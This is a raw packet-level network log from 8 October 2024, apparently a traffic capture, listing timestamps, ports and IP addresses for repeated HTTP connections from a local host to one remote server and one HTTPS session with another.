Oct 8, 2024 18:23:38.059118032 CEST	61315	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.059129953 CEST	61315	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.064116955 CEST	80	61315	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.064518929 CEST	80	61315	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.938122034 CEST	80	61315	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.944406033 CEST	80	61315	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.944473028 CEST	61315	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.944509983 CEST	61315	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.947843075 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.950531960 CEST	80	61315	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.954602003 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.954680920 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.954802990 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.954817057 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.959906101 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.959917068 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.657196999 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.657212019 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.657219887 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.657509089 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.657679081 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.658646107 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.658693075 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.659202099 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.659245968 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.660485983 CEST	61327	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.970227957 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.984112978 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.985316992 CEST	80	61327	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.985454082 CEST	80	61321	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.985455990 CEST	61327	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.985510111 CEST	61321	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.985582113 CEST	61327	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.985654116 CEST	61327	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:40.990932941 CEST	80	61327	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:40.990962029 CEST	80	61327	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:41.860126019 CEST	80	61327	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:41.860404968 CEST	80	61327	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:41.860681057 CEST	61327	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:41.863198042 CEST	61327	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:41.868115902 CEST	80	61327	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:41.871598005 CEST	61334	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:41.876524925 CEST	80	61334	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:41.876591921 CEST	61334	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:41.876885891 CEST	61334	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:41.876885891 CEST	61334	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:41.881939888 CEST	80	61334	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:41.881953001 CEST	80	61334	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:42.739319086 CEST	80	61334	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:42.740156889 CEST	80	61334	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:42.740212917 CEST	61334	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:42.740269899 CEST	61334	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:42.743501902 CEST	61340	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:42.745623112 CEST	80	61334	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:42.748619080 CEST	80	61340	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:42.748687029 CEST	61340	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:42.748801947 CEST	61340	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:42.748814106 CEST	61340	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:42.753722906 CEST	80	61340	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:42.753786087 CEST	80	61340	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:43.610102892 CEST	80	61340	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:43.610819101 CEST	80	61340	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:43.610879898 CEST	61340	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:43.610915899 CEST	61340	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:43.613535881 CEST	61347	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:43.616542101 CEST	80	61340	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:43.620101929 CEST	80	61347	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:43.620162964 CEST	61347	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:43.620249033 CEST	61347	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:43.620275021 CEST	61347	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:43.625130892 CEST	80	61347	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:43.625216007 CEST	80	61347	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:44.512805939 CEST	80	61347	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:44.512950897 CEST	80	61347	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:44.513005018 CEST	61347	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:44.513045073 CEST	61347	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:44.515237093 CEST	61355	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:44.518058062 CEST	80	61347	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:44.520159960 CEST	80	61355	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:44.520224094 CEST	61355	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:44.520380020 CEST	61355	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:44.520416021 CEST	61355	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:44.525384903 CEST	80	61355	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:44.525820971 CEST	80	61355	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:45.414834023 CEST	80	61355	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:45.415339947 CEST	80	61355	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:45.415476084 CEST	61355	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:45.415476084 CEST	61355	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:45.418154955 CEST	61360	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:45.420526028 CEST	80	61355	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:45.423337936 CEST	80	61360	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:45.423547029 CEST	61360	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:45.424655914 CEST	61360	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:45.424655914 CEST	61360	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:45.429752111 CEST	80	61360	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:45.429780006 CEST	80	61360	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:46.355251074 CEST	80	61360	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:46.357718945 CEST	80	61360	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:46.357846975 CEST	61360	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:46.357846975 CEST	61360	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:46.360305071 CEST	61365	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:46.362925053 CEST	80	61360	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:46.366416931 CEST	80	61365	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:46.366605043 CEST	61365	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:46.366725922 CEST	61365	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:46.366753101 CEST	61365	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:46.372637987 CEST	80	61365	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:46.372823000 CEST	80	61365	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:47.251260996 CEST	80	61365	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:47.251924992 CEST	80	61365	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:47.252090931 CEST	61365	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:47.252151012 CEST	61365	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:47.254839897 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:47.257852077 CEST	80	61365	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:47.260376930 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:47.260442019 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:47.260538101 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:47.260550022 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:47.266702890 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:47.266886950 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.813927889 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.814003944 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.814033031 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.814052105 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.814080000 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.814500093 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.814554930 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.814716101 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.818655014 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.818716049 CEST	61370	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.820621967 CEST	61375	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.823647022 CEST	80	61370	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.825670958 CEST	80	61375	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.825746059 CEST	61375	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.825911045 CEST	61375	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.825943947 CEST	61375	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:48.830817938 CEST	80	61375	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:48.830847979 CEST	80	61375	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:49.698420048 CEST	80	61375	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:49.699908018 CEST	80	61375	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:49.702109098 CEST	61375	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:49.702199936 CEST	61375	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:49.704619884 CEST	61382	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:49.707349062 CEST	80	61375	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:49.709641933 CEST	80	61382	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:49.709717989 CEST	61382	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:49.709860086 CEST	61382	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:49.709860086 CEST	61382	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:49.716365099 CEST	80	61382	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:49.716393948 CEST	80	61382	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:50.575336933 CEST	80	61382	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:50.575622082 CEST	80	61382	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:50.575715065 CEST	61382	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:50.575804949 CEST	61382	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:50.578541994 CEST	61388	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:50.580730915 CEST	80	61382	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:50.584284067 CEST	80	61388	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:50.584362984 CEST	61388	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:50.584526062 CEST	61388	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:50.584561110 CEST	61388	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:50.590747118 CEST	80	61388	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:50.590756893 CEST	80	61388	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:51.440485954 CEST	80	61388	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:51.441045046 CEST	80	61388	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:51.441127062 CEST	61388	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:51.441174984 CEST	61388	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:51.443478107 CEST	61397	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:51.446099997 CEST	80	61388	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:51.448621035 CEST	80	61397	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:51.448745966 CEST	61397	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:51.448854923 CEST	61397	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:51.448882103 CEST	61397	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:51.453840017 CEST	80	61397	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:51.453871012 CEST	80	61397	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:52.527090073 CEST	80	61397	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:52.527142048 CEST	80	61397	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:52.527179956 CEST	80	61397	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:52.527194977 CEST	61397	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:52.527225018 CEST	61397	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:52.527436972 CEST	61397	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:52.530822992 CEST	61404	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:52.532563925 CEST	80	61397	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:52.536232948 CEST	80	61404	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:52.536411047 CEST	61404	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:52.536545038 CEST	61404	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:52.536571026 CEST	61404	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:52.541642904 CEST	80	61404	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:52.541970968 CEST	80	61404	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:53.404282093 CEST	80	61404	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:53.404696941 CEST	80	61404	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:53.404922009 CEST	61404	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:53.404978037 CEST	61404	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:53.407130957 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:53.407180071 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:53.407250881 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:53.407857895 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:53.407875061 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:53.409784079 CEST	80	61404	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:54.014626026 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.014707088 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.016288996 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.016304016 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.016554117 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.036295891 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.079448938 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.383866072 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.383892059 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.383949995 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.383975029 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.388845921 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.388915062 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.388926029 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.389398098 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.389463902 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.389472961 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.390922070 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.390988111 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.390997887 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.394387960 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.394455910 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.394468069 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.417500973 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.417690039 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.417702913 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.417736053 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.417757988 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.417784929 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.418212891 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.418368101 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.418797970 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.418858051 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.419459105 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.419519901 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.423317909 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.423403025 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.423759937 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.423825979 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.487550020 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.487746954 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.504836082 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.504918098 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.505145073 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.505208969 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.505604982 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.505670071 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.506047010 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.506113052 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.506620884 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.506685972 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.507149935 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.507213116 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.507297993 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.507354021 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.507777929 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.507833004 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.508249044 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.508305073 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.508749962 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.508804083 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.509257078 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.509316921 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.509412050 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.509469986 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.574939966 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.575015068 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.575391054 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.575458050 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.593969107 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.594054937 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.594171047 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.594224930 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.594242096 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.594259977 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.594320059 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.594382048 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.594398022 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.594425917 CEST	61410	443	192.168.2.6	23.145.40.164
Oct 8, 2024 18:23:54.594434023 CEST	443	61410	23.145.40.164	192.168.2.6
Oct 8, 2024 18:23:54.641733885 CEST	61419	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:54.646704912 CEST	80	61419	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:54.646796942 CEST	61419	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:54.646945953 CEST	61419	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:54.646970987 CEST	61419	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:54.652025938 CEST	80	61419	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:54.652247906 CEST	80	61419	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:55.551220894 CEST	80	61419	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:55.558938026 CEST	80	61419	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:55.559019089 CEST	61419	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:55.559071064 CEST	61419	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:55.561613083 CEST	61424	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:55.564371109 CEST	80	61419	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:55.566754103 CEST	80	61424	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:55.566828012 CEST	61424	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:55.566946983 CEST	61424	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:55.566965103 CEST	61424	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:55.572438955 CEST	80	61424	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:55.573004961 CEST	80	61424	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:56.454329967 CEST	80	61424	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:56.454381943 CEST	80	61424	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:56.454432964 CEST	61424	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:56.454629898 CEST	61424	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:56.460405111 CEST	80	61424	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:56.475172997 CEST	61425	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:56.480315924 CEST	80	61425	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:56.480382919 CEST	61425	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:56.480500937 CEST	61425	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:56.480523109 CEST	61425	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:56.485548973 CEST	80	61425	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:56.485579967 CEST	80	61425	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:57.350981951 CEST	80	61425	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:57.351689100 CEST	80	61425	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:57.351747990 CEST	61425	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:57.356873989 CEST	61425	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:57.362984896 CEST	80	61425	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:57.418997049 CEST	61426	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:57.423881054 CEST	80	61426	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:57.423955917 CEST	61426	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:57.424079895 CEST	61426	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:57.424102068 CEST	61426	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:57.429657936 CEST	80	61426	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:57.429671049 CEST	80	61426	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:58.385658979 CEST	80	61426	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:58.386539936 CEST	80	61426	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:58.386606932 CEST	61426	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:58.496485949 CEST	61426	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:58.502194881 CEST	80	61426	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.019787073 CEST	61427	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.024900913 CEST	80	61427	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.024995089 CEST	61427	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.025120974 CEST	61427	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.025186062 CEST	61427	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:59.031147003 CEST	80	61427	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:59.031471968 CEST	80	61427	160.177.223.165	192.168.2.6
